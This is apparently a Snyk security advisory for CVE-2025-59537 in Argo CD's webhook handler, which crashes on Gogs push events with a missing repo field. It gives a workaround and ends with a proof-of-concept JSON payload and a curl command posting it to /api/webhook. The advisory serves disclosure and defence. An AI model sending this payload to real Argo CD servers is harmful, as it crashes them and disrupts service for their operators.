Improper Validation of Function Hook Arguments Affecting github.com/argoproj/argo-cd/util/webhook package, versions >=1.2.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (16th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDUTILWEBHOOK-13173006
  • published1 Oct 2025
  • disclosed30 Sept 2025
  • creditSangjun Song, Jakub Ciolek

Introduced: 30 Sep 2025

NewCVE-2025-59537  (opens in a new tab)
CWE-622  (opens in a new tab)

How to fix?

There is no fixed version for github.com/argoproj/argo-cd/util/webhook.

Overview

Affected versions of this package are vulnerable to Improper Validation of Function Hook Arguments in the /api/webhook endpoint via the affectedRevisionInfo() function. An attacker can cause the server process to crash and disrupt service availability by sending a Gogs push event whose JSON field commits[].repo is not set or is null.

Workaround

This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

PoC

Gogs payload:

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}

Push event:

curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

References

CVSS Base Scores

version 4.0
version 3.1